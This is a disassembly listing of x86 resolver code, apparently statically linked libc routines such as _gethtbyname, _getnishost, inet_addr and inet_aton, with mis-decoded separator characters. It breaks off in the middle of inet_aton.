mov ds:dword_8079E84, offset dword_807A340 mov ds:dword_807A340, offset unk_807A31C push esi call inet_addr mov edx, eax mov eax, ds:dword_8079E84 mov eax, [eax] mov [eax], edx mov ds:dword_8079E80, 4 mov ds:dword_8079E7C, 2 add esp, 4 jmp short loc_804C685 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804C684: ; CODE XREF: sub_804C5A4+E4j ; sub_804C5A4+E9j inc ebx loc_804C685: ; CODE XREF: sub_804C5A4+DCj cmp byte ptr [ebx], 20h jz short loc_804C684 cmp byte ptr [ebx], 9 jz short loc_804C684 mov ds:dword_8079E74, ebx mov ds:dword_8079E78, offset dword_8079E88 mov esi, offset dword_8079E88 jmp short loc_804C6C4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804C6A8: ; CODE XREF: sub_804C5A4+138j cmp byte ptr [ebx], 0 jz short loc_804C6DE cmp byte ptr [ebx], 20h jz short loc_804C6DB cmp byte ptr [ebx], 9 jz short loc_804C6DB cmp esi, offset unk_8079F10 jnb short loc_804C6C4 mov [esi], ebx add esi, 4 loc_804C6C4: ; CODE XREF: sub_804C5A4+100j ; sub_804C5A4+119j push offset asc_806791B ; " \t" push ebx call strpbrk mov ebx, eax add esp, 8 test ebx, ebx jz short loc_804C6DE mov byte ptr [ebx], 0 loc_804C6DB: ; CODE XREF: sub_804C5A4+10Cj ; sub_804C5A4+111j inc ebx jnz short loc_804C6A8 loc_804C6DE: ; CODE XREF: sub_804C5A4+107j ; sub_804C5A4+132j mov dword ptr [esi], 0 mov ds:dword_807E788, 0 mov eax, offset dword_8079E74 loc_804C6F3: ; CODE XREF: sub_804C5A4+35j ; sub_804C5A4+66j lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_804C5A4 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden _gethtbyname proc near ; CODE XREF: gethostbyname+1CFp ; gethostbyname+1E8p var_84 = byte ptr -84h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = byte ptr -40h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 78h push edi push esi push ebx xor edi, edi mov [ebp+var_64], 0 mov [ebp+var_4C], offset dword_8079BB8 mov [ebp+var_50], offset dword_8079C48 mov ds:dword_8079BB8, 0 mov ds:dword_8079C48, 0 mov [ebp+var_54], offset unk_80793B4 mov [ebp+var_58], offset unk_80797B5 mov [ebp+var_5C], 401h mov [ebp+var_60], 401h mov ds:dword_8079CEC, 0 mov ds:dword_8079CF0, 0 mov edx, [ebp+arg_0] push edx push offset unk_8079D78 call strcpy push 40h lea ebx, [ebp+var_40] push ebx call gethostname push 0 call sub_804C538 add esp, 14h mov [ebp+var_68], ebx lea esi, [esi] loc_804C788: ; CODE XREF: _gethtbyname+190j ; _gethtbyname+1D4j call sub_804C5A4 mov esi, eax test esi, esi jz loc_804C8D8 mov ecx, [ebp+arg_0] push ecx mov eax, [esi] push eax call sub_80565F8 add esp, 8 test eax, eax jnz short loc_804C7B0 inc edi jmp short loc_804C7ED ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804C7B0: ; CODE XREF: _gethtbyname+ACj mov ebx, [esi+4] cmp dword ptr [ebx], 0 jz short loc_804C7ED loc_804C7B8: ; CODE XREF: _gethtbyname+EFj mov edx, [ebp+arg_0] push edx mov eax, [ebx] push eax call sub_80565F8 add esp, 8 test eax, eax jnz short loc_804C7E5 inc edi mov ecx, [ebp+arg_0] mov ds:dword_8079CEC, ecx mov eax, [esi] push eax push offset unk_8079D78 call strcpy add esp, 8 loc_804C7E5: ; CODE XREF: _gethtbyname+CDj add ebx, 4 cmp dword ptr [ebx], 0 jnz short loc_804C7B8 loc_804C7ED: ; CODE XREF: _gethtbyname+AFj ; _gethtbyname+BAj mov edx, [ebp+var_68] push edx mov eax, [esi] push eax call sub_80565F8 add esp, 8 test eax, eax jnz short loc_804C808 inc [ebp+var_64] jmp short loc_804C82E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804C808: ; CODE XREF: _gethtbyname+102j mov ebx, [esi+4] cmp dword ptr [ebx], 0 jz short loc_804C82E loc_804C810: ; CODE XREF: _gethtbyname+130j mov ecx, [ebp+var_68] push ecx mov eax, [ebx] push eax call sub_80565F8 add esp, 8 test eax, eax jnz short loc_804C826 inc [ebp+var_64] loc_804C826: ; CODE XREF: _gethtbyname+125j add ebx, 4 cmp dword ptr [ebx], 0 jnz short loc_804C810 loc_804C82E: ; CODE XREF: _gethtbyname+107j ; _gethtbyname+112j test edi, edi jz short loc_804C888 cmp dword_8078510, 0 jz loc_804C8F0 mov ebx, [esi+0Ch] mov eax, [esi+8] mov ds:dword_8079CE0, eax mov eax, [esi+0Ch] mov ds:dword_8079CE4, eax cmp [ebp+var_5C], ebx jl short loc_804C886 push ebx mov edx, [ebp+var_54] push edx mov eax, [esi+10h] mov eax, [eax] push eax call bcopy mov edx, [ebp+var_54] mov ecx, [ebp+var_4C] mov [ecx], edx add ecx, 4 mov [ebp+var_4C], ecx mov dword ptr [ecx], 0 add edx, ebx mov [ebp+var_54], edx sub [ebp+var_5C], ebx add esp, 0Ch loc_804C886: ; CODE XREF: _gethtbyname+159j xor edi, edi loc_804C888: ; CODE XREF: _gethtbyname+134j cmp [ebp+var_64], 0 jz loc_804C788 mov ebx, [esi+0Ch] cmp [ebp+var_60], ebx jl short loc_804C8C9 push ebx mov ecx, [ebp+var_58] push ecx mov eax, [esi+10h] mov eax, [eax] push eax call bcopy mov ecx, [ebp+var_58] mov edx, [ebp+var_50] mov [edx], ecx add edx, 4 mov [ebp+var_50], edx mov dword ptr [edx], 0 add ecx, ebx mov [ebp+var_58], ecx sub [ebp+var_60], ebx add esp, 0Ch loc_804C8C9: ; CODE XREF: _gethtbyname+19Cj mov [ebp+var_64], 0 jmp loc_804C788 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804C8D8: ; CODE XREF: _gethtbyname+95j call sub_804C574 cmp ds:dword_8079BB8, 0 jnz short loc_804C8FC xor eax, eax jmp loc_804C9D4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804C8F0: ; CODE XREF: _gethtbyname+13Dj call sub_804C574 mov eax, esi jmp loc_804C9D4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804C8FC: ; CODE XREF: _gethtbyname+1E8j mov ds:dword_8079CDC, offset dword_8079CEC mov ds:dword_8079CD8, offset unk_8079D78 mov [ebp+var_6C], 0 mov [ebp+var_70], 0FFFFFFFFh cmp ds:dword_8079C48, 0 jz short loc_804C9A3 mov [ebp+var_74], offset dword_8079C48 lea esi, [esi] loc_804C930: ; CODE XREF: _gethtbyname+2A5j xor edi, edi cmp ds:dword_8079BB8, 0 jz short loc_804C997 mov esi, offset dword_8079BB8 loc_804C940: ; CODE XREF: _gethtbyname+299j mov eax, ds:dword_8079CE4 push eax lea eax, [ebp+var_44] push eax mov edx, [ebp+var_74] mov eax, [edx] push eax call bcopy add esp, 0Ch mov eax, [ebp+var_44] mov ebx, eax xchg bl, bh ror ebx, 10h xchg bl, bh mov eax, ds:dword_8079CE4 push eax lea eax, [ebp+var_48] push eax mov eax, [esi] push eax call bcopy mov eax, ebx xor eax, [ebp+var_48] mov [ebp+var_44], eax add esp, 0Ch mov ecx, [ebp+var_70] cmp eax, ecx jnb short loc_804C98E mov [ebp+var_6C], edi mov [ebp+var_70], eax loc_804C98E: ; CODE XREF: _gethtbyname+28Aj add esi, 4 inc edi cmp dword ptr [esi], 0 jnz short loc_804C940 loc_804C997: ; CODE XREF: _gethtbyname+23Dj add [ebp+var_74], 4 mov edx, [ebp+var_74] cmp dword ptr [edx], 0 jnz short loc_804C930 loc_804C9A3: ; CODE XREF: _gethtbyname+229j cmp [ebp+var_6C], 0 jz short loc_804C9C5 mov ecx, ds:dword_8079BB8 mov edx, [ebp+var_6C] mov eax, ds:dword_8079BB8[edx*4] mov ds:dword_8079BB8, eax mov ds:dword_8079BB8[edx*4], ecx loc_804C9C5: ; CODE XREF: _gethtbyname+2ABj mov ds:dword_8079CE8, offset dword_8079BB8 mov eax, offset dword_8079CD8 loc_804C9D4: ; CODE XREF: _gethtbyname+1ECj ; _gethtbyname+1FBj lea esp, [ebp+var_84] pop ebx pop esi pop edi mov esp, ebp pop ebp retn _gethtbyname endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden _getnishost proc near ; CODE XREF: sub_804BEB0+73p ; gethostbyname+234p ... var_14 = byte ptr -14h var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push edi push esi push ebx mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] cmp dword_807852C, 0 jnz short loc_804CA11 push offset dword_807852C call sub_805D5F8 add esp, 4 test eax, eax jnz loc_804CAB1 loc_804CA11: ; CODE XREF: _getnishost+16j test ebx, ebx jz short loc_804CA44 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax xor al, al mov edi, ebx cld mov ecx, 0FFFFFFFFh repne scasb mov eax, ecx not eax dec eax push eax push ebx push esi mov eax, dword_807852C push eax call sub_805D3A8 add esp, 18h jmp short loc_804CAAD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804CA44: ; CODE XREF: _getnishost+2Fj cmp dword_8078528, 0 jz short loc_804CA80 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push offset dword_8079DD0 push offset dword_8079DCC push esi mov eax, dword_807852C push eax call sub_805D638 add esp, 18h test eax, eax jnz short loc_804CAB1 mov dword_8078528, 0 jmp short loc_804CAB8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804CA80: ; CODE XREF: _getnishost+67j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push offset dword_8079DD0 push offset dword_8079DCC mov eax, ds:dword_8079DD0 push eax mov eax, ds:dword_8079DCC push eax push esi mov eax, dword_807852C push eax call sub_805D814 add esp, 20h loc_804CAAD: ; CODE XREF: _getnishost+5Bj test eax, eax jz short loc_804CAB8 loc_804CAB1: ; CODE XREF: _getnishost+27j ; _getnishost+8Cj xor eax, eax jmp loc_804CB89 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804CAB8: ; CODE XREF: _getnishost+98j ; _getnishost+CBj push 0Ah mov eax, [ebp+var_4] push eax call strchr mov ebx, eax add esp, 8 test ebx, ebx jz short loc_804CACF mov byte ptr [ebx], 0 loc_804CACF: ; CODE XREF: _getnishost+E6j push offset asc_806791B ; " \t" mov eax, [ebp+var_4] push eax call strpbrk mov ebx, eax mov byte ptr [ebx], 0 inc ebx mov ds:dword_8079DC8, offset dword_807A340 mov ds:dword_807A340, offset unk_807A31C mov eax, [ebp+var_4] push eax call inet_addr mov edx, eax mov eax, ds:dword_8079DC8 mov eax, [eax] mov [eax], edx mov ds:dword_8079DC4, 4 mov ds:dword_8079DC0, 2 add esp, 0Ch jmp short loc_804CB25 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804CB24: ; CODE XREF: _getnishost+144j ; _getnishost+149j inc ebx loc_804CB25: ; CODE XREF: _getnishost+13Ej cmp byte ptr [ebx], 20h jz short loc_804CB24 cmp byte ptr [ebx], 9 jz short loc_804CB24 mov ds:dword_8079DB8, ebx mov ds:dword_8079DBC, offset dword_8079E88 mov edi, offset dword_8079E88 jmp short loc_804CB64 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804CB48: ; CODE XREF: _getnishost+198j cmp byte ptr [ebx], 0 jz short loc_804CB7E cmp byte ptr [ebx], 20h jz short loc_804CB7B cmp byte ptr [ebx], 9 jz short loc_804CB7B cmp edi, offset unk_8079F10 jnb short loc_804CB64 mov [edi], ebx add edi, 4 loc_804CB64: ; CODE XREF: _getnishost+160j ; _getnishost+179j push offset asc_806791B ; " \t" push ebx call strpbrk mov ebx, eax add esp, 8 test ebx, ebx jz short loc_804CB7E mov byte ptr [ebx], 0 loc_804CB7B: ; CODE XREF: _getnishost+16Cj ; _getnishost+171j inc ebx jnz short loc_804CB48 loc_804CB7E: ; CODE XREF: _getnishost+167j ; _getnishost+192j mov dword ptr [edi], 0 mov eax, offset dword_8079DB8 loc_804CB89: ; CODE XREF: _getnishost+CFj lea esp, [ebp+var_14] pop ebx pop esi pop edi mov esp, ebp pop ebp retn _getnishost endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_804CB94 proc near ; CODE XREF: gethostbyaddr+294p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov edi, [ebp+arg_4] mov esi, [ebp+arg_8] push 0 call sub_804C538 add esp, 4 lea esi, [esi] loc_804CBAC: ; CODE XREF: sub_804CB94+26j ; sub_804CB94+3Dj call sub_804C5A4 mov ebx, eax test ebx, ebx jz short loc_804CBD3 cmp [ebx+8], esi jnz short loc_804CBAC push edi mov edx, [ebp+arg_0] push edx mov eax, [ebx+10h] mov eax, [eax] push eax call sub_8056450 add esp, 0Ch test eax, eax jnz short loc_804CBAC loc_804CBD3: ; CODE XREF: sub_804CB94+21j call sub_804C574 mov eax, ebx lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_804CB94 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_804CBE4 proc near ; CODE XREF: getanswer+65Fp var_6C = byte ptr -6Ch var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = word ptr -48h var_46 = byte ptr -46h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 60h push edi push esi push ebx mov [ebp+var_50], 0 mov edx, [ebp+arg_0] mov [ebp+var_4C], edx mov [ebp+var_5C], 0 mov edi, [ebp+arg_4] cmp [ebp+var_50], edi jge loc_804CD5C test edi, 1 jz short loc_804CC80 xor ecx, ecx mov al, byte_80786A8 shr al, 4 and eax, 0FFh cmp [ebp+var_50], eax jge short loc_804CC56 mov esi, [edx] mov ebx, eax mov [ebp+var_60], 0 db 8Dh,76h,0 ; lea esi, [esi+0] loc_804CC38: ; CODE XREF: sub_804CBE4+70j mov eax, [esi] mov edx, [ebp+var_60] and eax, dword ptr unk_80786B0[edx] cmp dword ptr unk_80786AC[edx], eax jz short loc_804CC56 add edx, 8 mov [ebp+var_60], edx inc ecx cmp ecx, ebx jl short loc_804CC38 loc_804CC56: ; CODE XREF: sub_804CBE4+44j ; sub_804CBE4+65j mov edi, [ebp+var_5C] mov [ebp+edi*2+var_48], cx cmp [ebp+var_50], 0 jnz short loc_804CC74 test edi, edi jle short loc_804CC74 movsx eax, word ptr [ebp+edi*2+var_4C+2] cmp ecx, eax jge short loc_804CC74 mov [ebp+var_50], edi loc_804CC74: ; CODE XREF: sub_804CBE4+7Ej ; sub_804CBE4+82j ... inc [ebp+var_5C] add [ebp+var_4C], 4 jmp loc_804CD50 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804CC80: ; CODE XREF: sub_804CBE4+2Fj ; sub_804CBE4+172j xor ecx, ecx mov al, byte_80786A8 shr al, 4 and eax, 0FFh cmp ecx, eax jge short loc_804CCC2 mov edi, [ebp+var_4C] mov esi, [edi] mov ebx, eax mov [ebp+var_60], 0 lea esi, [esi] loc_804CCA4: ; CODE XREF: sub_804CBE4+DCj mov eax, [esi] mov edx, [ebp+var_60] and eax, dword ptr unk_80786B0[edx] cmp dword ptr unk_80786AC[edx], eax jz short loc_804CCC2 add edx, 8 mov [ebp+var_60], edx inc ecx cmp ecx, ebx jl short loc_804CCA4 loc_804CCC2: ; CODE XREF: sub_804CBE4+AEj ; sub_804CBE4+D1j mov edi, [ebp+var_5C] mov [ebp+edi*2+var_48], cx cmp [ebp+var_50], 0 jnz short loc_804CCE0 test edi, edi jle short loc_804CCE0 movsx eax, word ptr [ebp+edi*2+var_4C+2] cmp ecx, eax jge short loc_804CCE0 mov [ebp+var_50], edi loc_804CCE0: ; CODE XREF: sub_804CBE4+EAj ; sub_804CBE4+EEj ... mov esi, [ebp+var_5C] inc esi xor ecx, ecx mov al, byte_80786A8 shr al, 4 and eax, 0FFh cmp ecx, eax jge short loc_804CD2D mov edx, [ebp+var_4C] mov edx, [edx+4] mov [ebp+var_58], edx mov ebx, eax mov [ebp+var_60], 0 lea esi, [esi] loc_804CD0C: ; CODE XREF: sub_804CBE4+147j mov edi, [ebp+var_58] mov eax, [edi] mov edi, [ebp+var_60] and eax, dword ptr unk_80786B0[edi] cmp dword ptr unk_80786AC[edi], eax jz short loc_804CD2D add edi, 8 mov [ebp+var_60], edi inc ecx cmp ecx, ebx jl short loc_804CD0C loc_804CD2D: ; CODE XREF: sub_804CBE4+112j ; sub_804CBE4+13Cj mov [ebp+esi*2+var_48], cx cmp [ebp+var_50], 0 jnz short loc_804CD48 test esi, esi jle short loc_804CD48 movsx eax, word ptr [ebp+esi*2+var_4C+2] cmp ecx, eax jge short loc_804CD48 mov [ebp+var_50], esi loc_804CD48: ; CODE XREF: sub_804CBE4+152j ; sub_804CBE4+156j ... add [ebp+var_5C], 2 add [ebp+var_4C], 8 loc_804CD50: ; CODE XREF: sub_804CBE4+97j mov edx, [ebp+arg_4] cmp [ebp+var_5C], edx jl loc_804CC80 loc_804CD5C: ; CODE XREF: sub_804CBE4+23j cmp [ebp+var_50], 0 jz loc_804CE7F mov edi, [ebp+arg_4] cmp [ebp+var_50], edi jge loc_804CE7F lea edx, [ebp+var_46] mov [ebp+var_54], edx mov eax, edi sub eax, [ebp+var_50] test al, 1 jz short loc_804CDD8 mov ecx, [ebp+var_50] dec ecx js short loc_804CDC7 mov edi, [ebp+arg_0] lea esi, [edi+ecx*4] lea ebx, [edx+ecx*2] loc_804CD90: ; CODE XREF: sub_804CBE4+1E1j mov ax, [ebp+ecx*2+var_48] cmp [ebx], ax jge short loc_804CDC7 movsx edx, ax mov [ebp+var_5C], edx mov ax, [ebx] mov [ebp+ecx*2+var_48], ax mov di, word ptr [ebp+var_5C] mov [ebx], di mov edx, [esi] mov edi, [ebp+arg_0] mov eax, [edi+ecx*4+4] mov [esi], eax mov [edi+ecx*4+4], edx add esi, 0FFFFFFFCh add ebx, 0FFFFFFFEh dec ecx jns short loc_804CD90 loc_804CDC7: ; CODE XREF: sub_804CBE4+1A1j ; sub_804CBE4+1B4j inc [ebp+var_50] mov edx, [ebp+arg_4] cmp [ebp+var_50], edx jge loc_804CE7F lea esi, [esi] loc_804CDD8: ; CODE XREF: sub_804CBE4+19Bj ; sub_804CBE4+295j mov ecx, [ebp+var_50] dec ecx js short loc_804CE23 mov edi, [ebp+arg_0] lea esi, [edi+ecx*4] mov edx, [ebp+var_54] lea ebx, [edx+ecx*2] lea esi, [esi] loc_804CDEC: ; CODE XREF: sub_804CBE4+23Dj mov ax, [ebp+ecx*2+var_48] cmp [ebx], ax jge short loc_804CE23 movsx edi, ax mov [ebp+var_5C], edi mov ax, [ebx] mov [ebp+ecx*2+var_48], ax mov dx, word ptr [ebp+var_5C] mov [ebx], dx mov edi, [esi] mov edx, [ebp+arg_0] mov eax, [edx+ecx*4+4] mov [esi], eax mov [edx+ecx*4+4], edi add esi, 0FFFFFFFCh add ebx, 0FFFFFFFEh dec ecx jns short loc_804CDEC loc_804CE23: ; CODE XREF: sub_804CBE4+1F8j ; sub_804CBE4+210j mov ecx, [ebp+var_50] test ecx, ecx jl short loc_804CE6F mov edi, [ebp+arg_0] lea esi, [edi+ecx*4] mov edx, [ebp+var_54] lea ebx, [edx+ecx*2] lea esi, [esi] loc_804CE38: ; CODE XREF: sub_804CBE4+289j mov ax, [ebp+ecx*2+var_48] cmp [ebx], ax jge short loc_804CE6F movsx edi, ax mov [ebp+var_5C], edi mov ax, [ebx] mov [ebp+ecx*2+var_48], ax mov dx, word ptr [ebp+var_5C] mov [ebx], dx mov edi, [esi] mov edx, [ebp+arg_0] mov eax, [edx+ecx*4+4] mov [esi], eax mov [edx+ecx*4+4], edi add esi, 0FFFFFFFCh add ebx, 0FFFFFFFEh dec ecx jns short loc_804CE38 loc_804CE6F: ; CODE XREF: sub_804CBE4+244j ; sub_804CBE4+25Cj add [ebp+var_50], 2 mov edi, [ebp+arg_4] cmp [ebp+var_50], edi jl loc_804CDD8 loc_804CE7F: ; CODE XREF: sub_804CBE4+17Cj ; sub_804CBE4+188j ... lea esp, [ebp+var_6C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_804CBE4 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden inet_addr proc near ; CODE XREF: sub_8049564+1B1p ; sub_80499F4+BFp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 4 mov edx, [ebp+arg_0] lea eax, [ebp+var_4] push eax push edx call inet_aton test eax, eax jnz short loc_804CEAC mov eax, 0FFFFFFFFh mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804CEAC: ; CODE XREF: inet_addr+15j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn inet_addr endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden inet_aton proc near ; CODE XREF: inet_addr+Ep ; res_init+415p ... var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1Ch push edi push esi push ebx mov ebx, [ebp+arg_0] lea ecx, [ebp+var_10] mov [ebp+var_18], ecx lea esi, [esi] loc_804CEC8: ; CODE XREF: inet_aton+CBj xor esi, esi mov [ebp+var_14], 0Ah cmp byte ptr [ebx], 30h jnz short loc_804CEF3 inc ebx cmp byte ptr [ebx], 78h jz short loc_804CEE1 cmp byte ptr [ebx], 58h jnz short loc_804CEEC loc_804CEE1: ; CODE XREF: inet_aton+26j mov [ebp+var_14], 10h inc ebx jmp short loc_804CEF3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804CEEC: ; CODE XREF: inet_aton+2Bj mov [ebp+var_14], 8 loc_804CEF3: ; CODE XREF: inet_aton+20j ; inet_aton+35j mov al, [ebx] test al, al jz short loc_804CF5A mov edi, dword_8078FA0 nop loc_804CF00: ; CODE XREF: inet_aton+A4j test al, al jl short loc_804CF1C movzx edx, al test byte ptr [edi+edx*2+1], 8 jz short loc_804CF1C mov eax, [ebp+var_14] imul eax, esi lea esi, [edx+eax-30h] jmp short loc_804CF53 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804CF1C: ; CODE XREF: inet_aton+4Ej ; inet_aton+58j cmp [ebp+var_14], 10h jnz short loc_804CF5A test al, al jl short loc_804CF5A and eax, 0FFh test byte ptr [edi+eax*2+1], 10h jz short loc_804CF5A lea ecx, [eax+0Ah] mov [ebp+var_1C], ecx mov edx, esi shl edx, 4 test byte ptr [edi+eax*2+1], 2 jz short loc_804CF4C lea esi, [ecx+edx-61h] jmp short loc_804CF53 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804CF4C: ; CODE XREF: inet_aton+8Ej mov ecx, [ebp+var_1C] lea esi, [ecx+edx-41h] loc_804CF53: ; CODE XREF: inet_aton+64j ; inet_aton+94j inc ebx mov al, [ebx] test al, al jnz short loc_804CF00 loc_804CF5A: ; CODE XREF: inet_aton+43j ; inet_aton+6Cj ... cmp byte ptr [ebx], 2Eh jnz short loc_804CF84 lea eax, [ebp+var_4] cmp [ebp+var_18], eax jnb loc_804CFEC cmp esi, 0FFh ja short loc_804CFEC mov ecx, [ebp+var_18] mov [ecx], esi add ecx, 4 mov [ebp+var_18], ecx inc ebx jmp loc_804CEC8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804CF84: ; CODE XREF: inet_aton+A9j cmp byte ptr [ebx], 0 jz short loc_804CF9A jl short loc_804CFEC movzx edx, byte ptr [ebx] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 20h jz short loc_804CFEC loc_804CF9A: ; CODE XREF: inet_aton+D3j lea eax, [ebp+var_10] mov ecx, [ebp+var_18] sub ecx, eax mov eax, ecx sar eax, 2 inc eax 